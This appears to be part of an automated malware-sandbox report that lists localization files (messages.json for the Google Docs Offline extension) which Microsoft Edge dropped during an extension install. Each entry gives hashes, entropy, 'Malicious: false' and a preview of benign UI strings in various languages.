zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
